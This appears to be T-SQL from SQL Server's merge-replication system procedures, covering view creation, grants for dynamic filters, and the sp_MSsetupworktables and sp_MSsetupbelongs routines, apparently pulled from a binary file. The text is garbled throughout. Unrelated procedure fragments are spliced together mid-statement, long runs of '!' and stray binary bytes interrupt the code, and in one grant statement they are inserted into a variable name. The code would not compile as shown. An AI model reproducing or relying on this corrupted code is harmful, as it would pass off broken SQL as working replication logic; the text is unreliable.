    select @view_creation_command = 'create view dbo.' + quotename(@tombstoneview) + ' as select * from dbo.MSmerge_tombstone where 1= 2'

    if @dynamic_filters = 1
    begin
        select @view_creation_command = @view_creation_command + ' and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
    end

    exec (@view_creation_command)
    if @@ERROR <>0 
    begin
        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @tombstoneview 
    if @@ERROR<>0 or @retcode<>0  return (1)

    -- Yukon genhistory view
    select @view_creation_command = 'create view dbo.' + quotename(@genhistoryview_90) + '(guidsrc, pubid, generation,
            art_nick, nicknames, coldate, genstatus, changecount, subscriber_number) as select DISTINCT guidsrc, CONVERT(uniqueidentifier, ' 
            + @guidstr + '), generation, art_nick, nicknames, coldate, genstatus, changecount, subscriber_number from dbo.MSmerge_genhistory gh
            where genstatus in (1,2) and 
                (art_nick = 0 or art_nick is NULL or art_nick in (select nickname from dbo.sysmergearticles where pubid = ' + @guidstr + ')) and 
                (pubid is null or pubid=(select top 1 pubid from dbo.MSmerge_genhistory where guidsrc=gh.guidsrc))  
            and generation <= ' + convert(nvarchar, @max_bcp_gen)

    if @dynamic_filters = 1
    begin
        select @view_creation_command = @view_creation_command + ' and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
    end

    exec (@view_creation_command)
    if @@ERROR <>0
    begin
        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @genhistoryview_90 
    if @@ERROR<>0 or @retcode<>0  return (1)

    /* Create the view on MSmerge_genhistory that has the same format as the SQL2000 MSmerge_genhistory */
    select @view_creation_command = 'create view dbo.' + quotename(@genhistoryview_80) + ' as 
    select guidsrc, guidlocal = newid(), pubid, generation = isnull(convert(int, generation),0), art_nick, nicknames= {fn REPLNICKARRAY_90_TO_80(nicknames)}, coldate from ' + quotename(@genhistoryview_90)

    exec (@view_creation_command)
    if @@ERROR <>0 
    begin
        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @genhistoryview_80 
    if @@ERROR<>0 or @retcode<>0  return (1)

    select @view_creation_command = 'create view dbo.' + quotename(@filtersview_80) + ' as 
        select filtername, join_filterid, pubid, artid, art_nickname, join_articlename, 
                join_nickname, join_unique_key, expand_proc, join_filterclause 
        from dbo.sysmergesubsetfilters where pubid = ' + @guidstr + ' 
            and artid in (select artid from dbo.sysmergearticles where pubid = ' + @guidstr + ' and status <> 5 and status <> 6)'

    if @dynamic_filters = 1
    begin
        select @view_creation_command = @view_creation_command + ' and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
    end
    
    exec (@view_creation_command)
    if @@ERROR <>0
    begin
        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @filtersview_80 
    if @@ERROR<>0 or @retcode<>0  return (1)
        
    select @view_creation_command = 'create view dbo.' + quotename(@filtersview_90) + ' as 
        select filtername, join_filterid, pubid, artid, art_nickname, join_articlename, 
                join_nickname, join_unique_key, expand_proc, join_filterclause, filter_type 
        from dbo.sysmergesubsetfilters where pubid = ' + @guidstr + ' 
            and artid in (select artid from dbo.sysmergearticles where pubid = ' + @guidstr + ' and status <> 5 and status <> 6)'

    if @dynamic_filters = 1
    begin
        select @view_creation_command = @view_creation_command + ' and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
    end
    
    exec (@view_creation_command)
    if @@ERROR <>0
    begin
        return (1)
    end
    exec @retcode = sys.sp_MS_marksystemobject  @filtersview_90
    if @@ERROR<>0 or @retcode<>0  return (1)

    if 1=@need_ctsview_rowtrack
    begin
        -- Create the view on MSmerge_contents for lightweight subscribers.
        select @view_creation_command = 'create view dbo.' + quotename(@rowtrackview) + ' as 
        
        select 
            tablenick, 
            rowguid, 
            changetype=cast(11 as tinyint), -- @METADATA_TYPE_UpsertLightweightProcessed
            changed=cast(sys.fn_MSdayasnumber(getdate()) as int),
            rowvector=substring(lineage, 1, 10) + 0xFF,
            changedcolumns=cast(null as varbinary),
            columns_enumeration=cast((case sys.fn_fIsColTracked(tablenick) 
                                        when 1 then 0 -- @COLUMNS_ENUMERATED_ChangedOnly
                                        else 2 -- @COLUMNS_ENUMERATED_AllOnOtherReason
                                     end) as tinyint),
            sync_cookie=null
        from ' + quotename(@contentsview_90) + '
            where tablenick in (select nickname from dbo.sysmergearticles where upload_options<>1 and upload_options<>2)'
        
        if @dynamic_filters = 1
        begin
            select @view_creation_command = @view_creation_command + ' and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
        end
        
        exec (@view_creation_command)
        if @@ERROR <>0 return (1)
        exec @retcode = sys.sp_MS_marksystemobject  @rowtrackview 
        if @@ERROR<>0 or @retcode<>0  return (1)
    end

        -- set security for dynamic filters    
    if @dynamic_filters = 1
    begin

        set @command = 'grant select on ' + quotename(@contentsview_80) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@contentsview_90) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@contentsview_90_forall) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        if 1=@need_ctsview_forglobal
        begin
            set @command = 'grant select on ' + quotename(@contentsview_90_forglobal!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<F#)ZI) + ' to public'
			exec(@command)
            if @@error<>0 return(1)
        end
        set @command = 'grant select on ' + quotename(@tombstoneview) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@genhistoryview_80) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@genhistoryview_90) + ' to public'
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@filtersview_80) + ' to public'        
		exec(@command)
        if @@error<>0 return(1)
        set @command = 'grant select on ' + quotename(@filtersview_90) + ' to public'           
		exec(@command)
        if @@error<>0 return(1)
        if 1=@need_ctsview_rowtrack
        begin
            set @command = 'grant select on ' + quotename(@rowtrackview) + ' to public'
			exec(@command)
            if @@error<>0 return(1)
        end
    end

Finish:
    set nocount on
    /* we only generate per-article contents view for static publications */
    exec @retcode = sys.sp_MSgettablecontents @pubid, @dynamic_snapshot_views_table_name, @need_ctsview_rowtrack, @create_dynamic_views, @max_bcp_gen
    if @@ERROR<>0 OR @retcode <>0 return (1)
        
    exec('select     
    contentsview,
    tombstoneview, 
    genhistoryview, 
    filtersview, 
    contentsview_90_forall, 
    contentsview_90_forglobal, 
    genhistoryview_90, 
    filtersview_90,
    contentsview_90,
    rowtrackview
    from #temp_table_for_systable_view 
    order by id')
    
    drop table #temp_table_for_systable_view

    return (0)
X*rX* beginning of this proc.
    delete from #nicknames_to_process where nickname = 0
    return (0)
.5M.5gin
            select distinct @belongsname, @notbelongsname, tablenick from #belong 
        end
    end

    drop table #notbelong
    drop table #belong
    drop table #contents_subset
    drop table #tombstone_subset
    drop table #temp_cont 
    drop table #nicknames_to_process
    
    return (0)
COCION
    end
    
    RAISERROR (14057, 16, -1)
    RETURN 1
YY_schema) + ' , ' + quotename(@conflict_proc)  + ' , ' + convert(nvarchar,@objid) 
            set @command = @command + ', [' + convert(nchar(36), @pubid) + ']'
            exec @retcode = sys.xp_execresultset @command, @dbname
            if @@ERROR<>0 OR @retcode<>0 or object_id(@conflict_proc) is NULL
                goto FAILURE
            exec @retcode = sys.sp_MS_marksystemobject @conflict_proc 
            if @@ERROR<>0 or @retcode<>0 
                goto FAILURE
			select @command = 'grant exec on ' + quotename(@conflict_proc) + ' to public'
            exec (@command)
            if @@ERROR<>0 goto FAILURE
        end
    end

    if @update_symergearticles = 1
    begin
        update dbo.sysmergearticles 
            set insert_proc = @ins_procname,
                select_proc = @sel_procname,
                metadata_select_proc = @sel_metadata_procname,
                update_proc = @upd_procname,
                view_sel_proc = @view_selprocname,
                ins_conflict_proc = @conflict_proc,
                delete_proc = @del_procname
            where artid = @artid and pubid=@pubid
        IF @@ERROR<>0 goto FAILURE
    end
    return 0

FAILURE:
    return 1
    
    
vroc = ''' + @ins_procname + ''',
        select_proc = ''' + @sel_procname + ''',
        metadata_select_proc = ''' + @sel_metadata_procname + ''',
        update_proc = ''' + @upd_procname + ''',
        ins_conflict_proc = ''' + @conflict_proc + ''',
        delete_proc = ''' + @del_procname + '''
    where artid = ''' + convert(nvarchar(40), @artid) + ''' and pubid = ''' + convert(nvarchar(40),@pubid) + ''''

    -- This proc was added in yukon sp1 so try to execute it only if it exists on the
    -- subscriber.
	select @command = '
	if object_id(''sp_MSpostapplyscript_forsubscriberprocs'',''P'') is not NULL
		exec sys.sp_MSpostapplyscript_forsubscriberprocs @procsuffix = ''' + sys.fn_replreplacesinglequote(@procsuffix) + ''''
	select @command

    return 0

FAILURE:
    raiserror(21692, 16, -1, @article, @publication)
    return 1    
$|$      select @rowguid77 as rowguid union all
        select @rowguid78 as rowguid union all
        select @rowguid79 as rowguid union all
        select @rowguid80 as rowguid union all
        select @rowguid81 as rowguid union all
        select @rowguid82 as rowguid union all
        select @rowguid83 as rowguid union all
        select @rowguid84 as rowguid union all
        select @rowguid85 as rowguid union all
        select @rowguid86 as rowguid union all
        select @rowguid87 as rowguid union all
        select @rowguid88 as rowguid union all
        select @rowguid89 as rowguid union all
        select @rowguid90 as rowguid union all
        select @rowguid91 as rowguid union all
        select @rowguid92 as rowguid union all
        select @rowguid93 as rowguid union all
        select @rowguid94 as rowguid union all
        select @rowguid95 as rowguid union all
        select @rowguid96 as rowguid union all
        select @rowguid97 as rowguid union all
        select @rowguid98 as rowguid union all
        select @rowguid99 as rowguid union all
        select @rowguid100 as rowguid
    ) as rows
    inner join dbo.MSmerge_metadataaction_request m with (rowlock) 
    on m.rowguid = rows.rowguid and m.tablenick = @tablenick and rows.rowguid is not NULL
    option (force order, loop join)
    if @@error<>0
        return 1
OO@cmdpiece + ' 
    end '
    
    select @cmdpiece = @cmdpiece + '

delete from dbo.MSmerge_metadataaction_request
    where tablenick=@tablenick and rowguid=@rowguid

    if @started_transaction = 1
        commit transaction


    return(1)

Failure:
    --rollback transaction sub
    --commit transaction
    if @started_transaction = 1    
        rollback transaction

'
end
else
begin
    set @cmdpiece = '
    if @started_transaction = 1    
        commit transaction

    delete from dbo.MSmerge_metadataaction_request
        where tablenick=@tablenick and rowguid=@rowguid

    return(1)

Failure:
    --rollback transaction sub
    --commit transaction
    if @started_transaction = 1    
        rollback transaction

'
end
insert into #tempcmd (phase, cmdtext) values (120, @cmdpiece)

if 1 = @maintainsmetadata
begin
    exec sys.sp_MScreatedupkeyupdatequery
            @tablename= @qualified_name,
            @tablenickstr= @tablenickstr,
            @phase= 140,
            @isconflictproc= 0,
            @tablename2= @qualified_name2
end

set @cmdpiece = '
    return @errcode'
insert into #tempcmd (phase, cmdtext) values (200, @cmdpiece)

-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.

select cmdtext from #tempcmd order by phase, step
drop table #tempcmd
drop table #coltab
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rdk		3`<($ZwvX*
-- Modify temp table. No security check needed.
create procedure sys.sp_MSsetupworktables
    @pubid              uniqueidentifier,
    @genlist            varchar(8000),
    @articlesoption     int,    -- 0=process all articles, 1=process this specific article (whose nickname is passed in @tablenickname), 2=all articles involved in join filters, 3=process all articles involved in part filters, 4=process articles whose nicknames have been passed in @nicknamelist.
    @tablenickname      int,
    @nicknamelist       varchar(8000),
    @mingen             bigint = 0,
    @maxgen             bigint = 0,
    @skipgenlist        varchar(8000) = NULL,
    @contents_subset_rowcount int OUTPUT,
    @tombstone_subset_rowcount int OUTPUT
AS
    
    declare @lengenlist int
    declare @lenskipgenlist int

    -- put in a nickname with value 0 - This will match 
    -- gen history rows put in by downlevel subscribers 
    -- with art_nick = NULL 
    insert into #nicknames_to_process values (0)

    if (@articlesoption = 0)
    begin
        
        -- process all articles for this publication
        insert into #nicknames_to_process 
        select distinct nickname 
        from dbo.sysmergearticles a 
        where pubid = @pubid

    end
    else if (@articlesoption = 1)
    begin
        
        --process only the article whose nickname has been passed-in
        insert into #nicknames_to_process values (@tablenickname)
        
    end
    else if (@articlesoption = 2)
    begin
        --process all articles with join filters (article could be on any side - left or right - of any join filter)
        insert into #nicknames_to_process 
        select distinct nickname 
        from dbo.sysmergearticles a 
        where pubid = @pubid 
        and exists (select * from dbo.sysmergesubsetfilters s 
                    where s.pubid = @pubid and (s.filter_type & 1) = 1
                    and (s.art_nickname = a.nickname or s.join_nickname = a.nickname))
    end
    else if (@articlesoption = 3)
    begin
    
        --process all articles with part filters but that don't have a join filter.
        insert into #nicknames_to_process 
        select distinct nickname 
        from dbo.sysmergearticles a 
        where pubid = @pubid 
        and datalength(subset_filterclause) > 1
        and not exists (select * from dbo.sysmergesubsetfilters s 
                    where s.pubid = @pubid  and (s.filter_type & 1) = 1
                    and (s.art_nickname = a.nickname or s.join_nickname = a.nickname))
    end
    else if (@articlesoption = 4)
    begin
        --process all articles whose nicknames have been passed into @nicknamelist
        if (@nicknamelist is not null and rtrim(ltrim(@nicknamelist)) <> '')
        begin
            exec ('insert into #nicknames_to_process select distinct nickname from dbo.sysmergearticles where nickname in (' + @nicknamelist + ')')
            if @@ERROR <>0 return (1)
        end
    end

    -- Create index on #nicknames_to_process now that it has been populated. Creating it after data insertion is better because
    -- that generates the stats for the index. That helps in the insert into #contents_subset query. The other option was to 
    -- create the index, insert the data, and then update statistics.
    create unique index #nicknames_ind on #nicknames_to_process (nickname)

    if (@maxgen <> 0)
    begin
            
        insert into #genlist select distinct generation 
            from dbo.MSmerge_genhistory gh 
            join #nicknames_to_process np
            on isnull(gh.art_nick,0) = np.nickname and 
            gh.generation >= @mingen
            and gh.generation <= @maxgen

        select @lengenlist = isnull(datalength(@genlist),0)
        select @lenskipgenlist = isnull(datalength(@skipgenlist),0)

        -- no need to do ltrim and rtrim on the @skipgenlist. sp_MSsetupbelongs already did that.
        if (@skipgenlist is not null and @skipgenlist <> '' and @lenskipgenlist <= @lengenlist)
        begin
            exec('delete from #genlist where generation in (' + @skipgenlist + ')')
        end
        else if (@genlist is not null and @genlist <> '')
        begin
            -- gen 0 won't be in @genlist, so will get deleted because of the NOT IN.
            exec('delete from #genlist where generation not in (' + @genlist + ')')
        end
    end
    else if (@genlist is not null and @genlist <> '')
    begin
        exec ('insert into #genlist select distinct generation from dbo.MSmerge_genhistory where
            (isnull(art_nick,0) in (select nickname from #nicknames_to_process)) and 
            generation in (' + @genlist + ') ')
        if @@ERROR <>0 return (1)
    end

    -- Create index on #genlist now that it has been populated. Creating it after data insertion is better because
    -- that generates the stats for the index. That helps in the insert into #contents_subset query. The other option was to 
    -- create the index, insert the data, and then update statistics.
    create unique index #genlist_ind on #genlist (generation)

    if @maxgen is null
        select @maxgen = 0

    if @mingen is null
        select @mingen = 0

    if (@maxgen = 0)
    begin
        -- SQL 7.0 pull merge agents do not pass in @maxgen and @mingen, so the default is 0. 
        -- For them need to compute min and max. Note that we could do the same for 8.0 agents as well
        -- but 8.0 agents pass the min and max because they are used in the INSERT INTO #genlist query above
        -- when we don't have the #genlist table and all we have is the comma-separated @genlist string.
        select @mingen = min(generation), @maxgen = max(generation) from #genlist
    end

    insert into #contents_subset (tablenick, rowguid, generation, partchangegen) 
    select c.tablenick, c.rowguid, c.generation, c.partchangegen
    from dbo.MSmerge_contents c 
    JOIN #nicknames_to_process a
    ON c.generation >= @mingen
    AND c.generation <= @maxgen
    AND c.tablenick = a.nickname
    JOIN #genlist g 
    ON c.generation = g.generation
    AND c.generation >= @mingen
    AND c.generation <= @maxgen

    UNION
    
    -- the rows retrieved below have a partition change that falls into the relevant generation range
    -- if we do not process them now, we would later on assume that the partition change has already been processed
    select c.tablenick, c.rowguid, c.generation, c.partchangegen
    from dbo.MSmerge_contents c 
    JOIN #nicknames_to_process a
    ON c.partchangegen >= @mingen
    AND c.partchangegen <= @maxgen
    AND c.tablenick = a.nickname
    JOIN #genlist g 
    ON c.partchangegen = g.generation
    AND c.partchangegen >= @mingen
    AND c.partchangegen <= @maxgen
    
    select @contents_subset_rowcount = @@rowcount

    insert into #tombstone_subset (tablenick, rowguid, type, generation)
    select t.tablenick, t.rowguid, t.type, t.generation
    from dbo.MSmerge_tombstone t
    JOIN #nicknames_to_process a
    ON t.generation >= @mingen
    AND t.generation <= @maxgen
    AND t.tablenick = a.nickname
    JOIN #genlist g
    ON t.generation = g.generation
    AND t.generation >= @mingen
    AND t.generation <= @maxgen
        
    select @tombstone_subset_rowcount = @@rowcount

    create clustered index #ucind_contents_subset on #contents_subset (tablenick, rowguid) with FILLFACTOR = 100
    create clustered index #ucind_tombstone_subset on #tombstone_subset (tablenick, rowguid) with FILLFACTOR = 100

    delete #nicknames_to_process from #nicknames_to_process ntp
    where not exists (select tablenick from #contents_subset cs where cs.tablenick = ntp.nickname) 
    and not exists (select tablenick from #tombstone_subset ts where ts.tablenick = ntp.nickname) 

    -- remove the nickname with value 0 that we put in specially at the!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(%$Ǔv.5-- If the default parameters change, make sure to adjust the corresponding values in
-- OSQL_Q_SETUPBELONGS_90 and OSQL_Q_SETUPBELONGS2_90.
--
-- Modify temp table. No security check needed.
create procedure sys.sp_MSsetupbelongs
    @publisher          sysname,
    @publisher_db       sysname,
    @publication        sysname,
    @genlist            varchar(8000),
    @commongen          bigint,
    @subissql           int,
    @articlesoption     int=0,  -- 0=process all articles, 1=process this specific article (whose nickname is passed in @tablenickname), 2=all articles involved in join filters, 3=process all articles involved in part filters, 4=process articles whose nicknames have been passed in @nicknamelist.
    @tablenickname      int=0,
    @handle_null_tables bit=0,  -- 0=caller cannot handle NULL ##belongs and ##notbelongs tables, 1=caller handles NULL ##belongs and ##notbelongs tables (post 8.0 Beta 2 version)
    @nicknamelist       varchar(8000) = NULL,
    @mingen             bigint = 0,
    @maxgen             bigint = 0,
    @skipgenlist        varchar(8000) = NULL,
    @belongsname sysname = NULL,
        @notbelongsname sysname = NULL,    
    @compatlevel        int = 10,    -- backward compatibility level, default=Sphinx
    @enumentirerowmetadata bit= 1
AS
    declare @pubid uniqueidentifier
        declare @start_processing_time datetime
        declare @complete_processing_time datetime
    declare @pubidstr nvarchar(40)
    declare @article_statistics_table nvarchar(400)
    declare @quoted_article_statistics_table nvarchar(400)
    declare @retval int
    declare @rowguid uniqueidentifier
    declare @cmd nvarchar(4000)
    declare @rowguidstr nvarchar(40)
    declare @artnick_to_process int
    declare @before_view_objid int
    declare @before_table_objid int
    declare @procname nvarchar(270)
    declare @artbaseobjid int
    declare @art_name sysname
    declare @rgcol nvarchar(270)
    declare @maxfilterid int
    declare @retcode smallint
    declare @setupbelong_time int
    declare @dynamic_join_cnt int
    declare @contents_subset_rowcount int
    declare @tombstone_subset_rowcount int
    declare @belongsempty bit
    declare @notbelongsempty bit
    declare @allow_partition_realignment bit
    --declare @belongsname sysname
    --declare @notbelongsname sysname
    
    -- trim spaces from the generation lists so that we don't have to use functions ltrim 
    -- and rtrim again and again later on.
    select @genlist = ltrim(rtrim(@genlist))
    select @skipgenlist = ltrim(rtrim(@skipgenlist))
    
    select @pubid = pubid, @allow_partition_realignment = allow_partition_realignment  from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db 
    
    -- check permissions
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin   
            RAISERROR (14126, 11, -1)
            return (1)
    end
    
    select @pubidstr = replace( convert( nvarchar(36), @pubid ), '-', '' )
    
    set @rowguid = newid()
    select @rowguidstr = replace( convert( nvarchar(36), @rowguid ), '-', '' )

    -- since the belongsname and notbelongsname names have guids appended to them generated using newid(), we can safely assume
    -- that the names are unique.
    set @article_statistics_table = NULL
    create table #genlist (generation bigint)

    create table #temp_cont (temp_id int identity NOT NULL, tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL,
            partchangegen bigint)

    create table #contents_subset(tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL, generation bigint NOT NULL,
            partchangegen bigint NULL)

    create table #tombstone_subset(tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL, type tinyint NOT NULL, 
            generation bigint NOT NULL)

    create table #belong (tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL, flag int NOT NULL,
        partchangegen bigint null, skipexpand bit NOT NULL)

    create table #notbelong (tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL,
        flag int NOT NULL, partchangegen bigint null, type tinyint default 5)
    create table #nicknames_to_process (nickname int)
    create index #indbelong on #belong (rowguid, tablenick)
    create index #indnbelong on #notbelong (tablenick, rowguid)

    if (@belongsname is NULL)
        begin
        set @belongsname = '##belong' + @rowguidstr
        set @cmd = 'create table ' + quotename(@belongsname) + ' (tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL,
            generation bigint NULL, lineage varbinary(311) NULL, colv varbinary(2953) NULL)'
		exec( @cmd )
        if @@ERROR <>0 return (1)
    end

    if (@notbelongsname is NULL)
    begin
        set @notbelongsname = '##notbelong' + @rowguidstr
		set @cmd = 'create table ' + quotename(@notbelongsname) + ' (bookmark int identity unique NOT NULL, tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL,
            generation bigint NULL, lineage varbinary(311) NULL, type tinyint NOT NULL)'
		exec( @cmd )
        if @@ERROR <>0 return (1)
    end
    
    exec @retcode = sys.sp_MSsetupworktables @pubid, @genlist, @articlesoption, @tablenickname, @nicknamelist,
                                        @mingen, @maxgen, @skipgenlist,
                                        @contents_subset_rowcount OUTPUT, @tombstone_subset_rowcount OUTPUT

    IF @@ERROR<>0 OR @retcode<>0 return (1) 

    if (@contents_subset_rowcount = 0 and @tombstone_subset_rowcount = 0)
        goto EXITPROC

    if (@articlesoption <> 1 and @articlesoption <> 3 and @articlesoption <> 4)
    begin
        select @dynamic_join_cnt = count(*) from 
            (select join_filterclause_spaces_stripped = 
            REPLACE(REPLACE(REPLACE(REPLACE(UPPER(join_filterclause collate SQL_Latin1_General_CP1_CS_AS), char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
            from dbo.sysmergesubsetfilters 
            where pubid = @pubid and (filter_type & 1) = 1) 
            as sysmergesubsetfilters_temp
        where 
        sysmergesubsetfilters_temp.join_filterclause_spaces_stripped like '%USER[_]%NAME()%' or
        sysmergesubsetfilters_temp.join_filterclause_spaces_stripped like '%USER[_]%ID()%' or
        sysmergesubsetfilters_temp.join_filterclause_spaces_stripped like '%SESSION[_]USER%' or
        sysmergesubsetfilters_temp.join_filterclause_spaces_stripped like '%SYSTEM[_]USER%'
    end
    
    /* step 2 setup pass through dbo.MSmerge_contents */
    /* article with permanent views can be handled with bulk inserts */
    set @artnick_to_process = NULL
    set rowcount 0
    
    /* Get first article, go into loop */
    select @artnick_to_process = min(nickname) from #nicknames_to_process 
    
    -- if the article statistics table does not exist do not update article 
    -- statistics. For article statistics to work the AGENT MUST create this temp table.
    -- also with the security fixes for global temp table, setupbelongs is going to
    -- be run only on one connection. Hence if the table is not already there it
    -- would be OK to not report article statistics.
        select @article_statistics_table = '#setupbelongs_article_statistics_table'
        if OBJECT_ID('tempdb..' + @article_statistics_table) is NULL
        begin
            select @article_statistics_table = NULL
                select @quoted_article_statistics_table = NULL
    end
        else
        begin
                select @quoted_article_statistics_table = QUOTENAME(@article_statistics_table)
        end

    while (@artnick_to_process is not null)
    begin
        select @start_processing_time = getdate()

        select  @artbaseobjid = objid, @procname = view_sel_proc, @before_view_objid = before_view_objid,
                @before_table_o!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(&7-v.5bjid = before_image_objid, @art_name=sys.fn_getvalidname(name)
                from dbo.sysmergearticles 
                where pubid = @pubid 
                and nickname = @artnick_to_process
                if @article_statistics_table is not NULL
                begin
                -- @art_name has all ' and " removed by fn_getvalidname
				select @cmd = 'insert ' + @quoted_article_statistics_table + ' (article_name) values (''' + @art_name + ''')'
                exec(@cmd)
                if @@ERROR<>0
                        return (1)
        end
        /* Get name of rowguidcol. Aliasing doesn't work through a view. */
        select @rgcol = name from sys.columns where object_id = @artbaseobjid and is_rowguidcol = 1

        if (@procname is not null)
        begin
            -- Fully qualifying the proc avoids recompiles
            select @procname = 'dbo.' + quotename(@procname)
            exec @retcode = @procname @tablenick=@artnick_to_process, @compatlevel=@compatlevel, @pubid=@pubid
            if @@ERROR <>0 or @retcode <> 0
                begin
                return (1)
                end
        end
        else
        begin
            exec @retcode = sys.sp_MSsetupbelongs_withoutviewproc @publisher, @publisher_db, @publication, @artnick_to_process      
            if @@ERROR <>0 or @retcode <> 0
                return (1)
        end

        exec @retcode = sys.sp_MSsetupnotbelongs @artnick_to_process, @before_view_objid, @before_table_objid, @rgcol, @commongen, @allow_partition_realignment
        if @@ERROR <>0 or @retcode <> 0
                return (1)

        /* Move on to next article, repeat while loop */
        select @complete_processing_time = getdate()
        if @article_statistics_table is not NULL
        begin
                        select @setupbelong_time=datediff(millisecond, @start_processing_time, @complete_processing_time)               
                select @cmd = 'update ' + @quoted_article_statistics_table + ' set setupbelong_time = setupbelong_time + ' + convert(nvarchar, @setupbelong_time)
                                + ' where article_name = ''' + @art_name + ''''
                exec(@cmd)
                if @@ERROR<>0
                        return (1)
        end
        select @artnick_to_process = min(nickname) from #nicknames_to_process where nickname > @artnick_to_process 
    end

    if (@articlesoption <> 1 and @articlesoption <> 3 and @articlesoption <> 4)
    begin
        /* Optimization: If partchange is null or < common gen BUT NOT =1,
        ** it is not necessary to expand #belong for that particular row.
        */
        
        select @maxfilterid = max(join_filterid) from dbo.sysmergesubsetfilters where (filter_type & 1) = 1

        if @maxfilterid is not null
        begin
            update #belong set flag = @maxfilterid, skipexpand = 1 
            where isnull(partchangegen,0) <= @commongen and isnull((-partchangegen),0) <= @commongen

            /* Expand the #belong temptable */
            exec @retcode = sys.sp_MSexpandbelongs @pubid

            if @@ERROR<>0 OR @retcode<>0
                begin
                return (1)
                end
        end
    end

    -- If subscriber is not sql server, we have to expand notbelongs
    if (@articlesoption <> 1 and @articlesoption <> 3 and @articlesoption <> 4) and (@subissql = 0 or @dynamic_join_cnt > 0)
    begin
        /* Expand the #notbelong temptable */
        exec sys.sp_MSexpandnotbelongs @pubid
        if @@error<>0 return(1)
    end

EXITPROC:
        
    /* transfer rows from local temp to global temp */

    -- Could have used if not exists instead of the following but want to use the KEEP PLAN option which is not supported in the IF EXISTS 
    select @belongsempty = 0
    select @belongsempty = 1 where not exists (select * from #belong) OPTION(KEEP PLAN)
    
    select @notbelongsempty = 0
    select @notbelongsempty = 1 where not exists (select * from #notbelong) OPTION(KEEP PLAN)

        declare @belongmetadatacols nvarchar(200)
        declare @notbelongmetadatacols nvarchar(200)

        if 1 = @enumentirerowmetadata
        begin
                set @belongmetadatacols= 'c.generation, c.lineage, c.colv1'
                set @notbelongmetadatacols= 'coalesce (c.generation, t.generation), coalesce(c.lineage, t.lineage)'
        end
        else
        begin
                set @belongmetadatacols= 'sys.fn_MSgeneration_downloadonly(c.generation, c.tablenick), sys.fn_MSvector_downloadonly(c.lineage, c.tablenick), sys.fn_MSvector_downloadonly(c.colv1, c.tablenick)'
                set @notbelongmetadatacols= 'sys.fn_MSgeneration_downloadonly(coalesce (c.generation, t.generation), c.tablenick), sys.fn_MSvector_downloadonly(coalesce(c.lineage, t.lineage), c.tablenick)'
        end

    /* If there are no rows in #belong, then drop the global ##belongs so that we do not call sp_MSenumpartialchanges */
    if (@belongsempty = 1)
    begin
        /* Post SQL 8.0 Beta 2 agents pass this flag with value 1 since they can handle NULL belongs table name */
        if @handle_null_tables = 1
            begin
				set @cmd = 'drop table ' + quotename(@belongsname)
				exec(@cmd)
                select @belongsname = NULL
            end
    end
    else
    begin
        set @cmd = 'insert into ' + quotename(@belongsname) + ' (tablenick, rowguid, generation, lineage, colv) 
                select distinct b.tablenick, b.rowguid, ' + @belongmetadatacols + ' from
                #belong b left outer join dbo.MSmerge_contents c  
                on  c.tablenick = b.tablenick and c.rowguid = b.rowguid '
		exec(@cmd)
                
        if @@ERROR <>0  
        begin
                    return (1)
        end

        -- this index will be useful in sp_MSenumpartialchanges
        set @cmd = 'create index nc1belongstable on ' + quotename(@belongsname) + ' (tablenick, rowguid) with FILLFACTOR = 100'
		exec(@cmd)
        if @@ERROR <>0  
            return (1)
    end
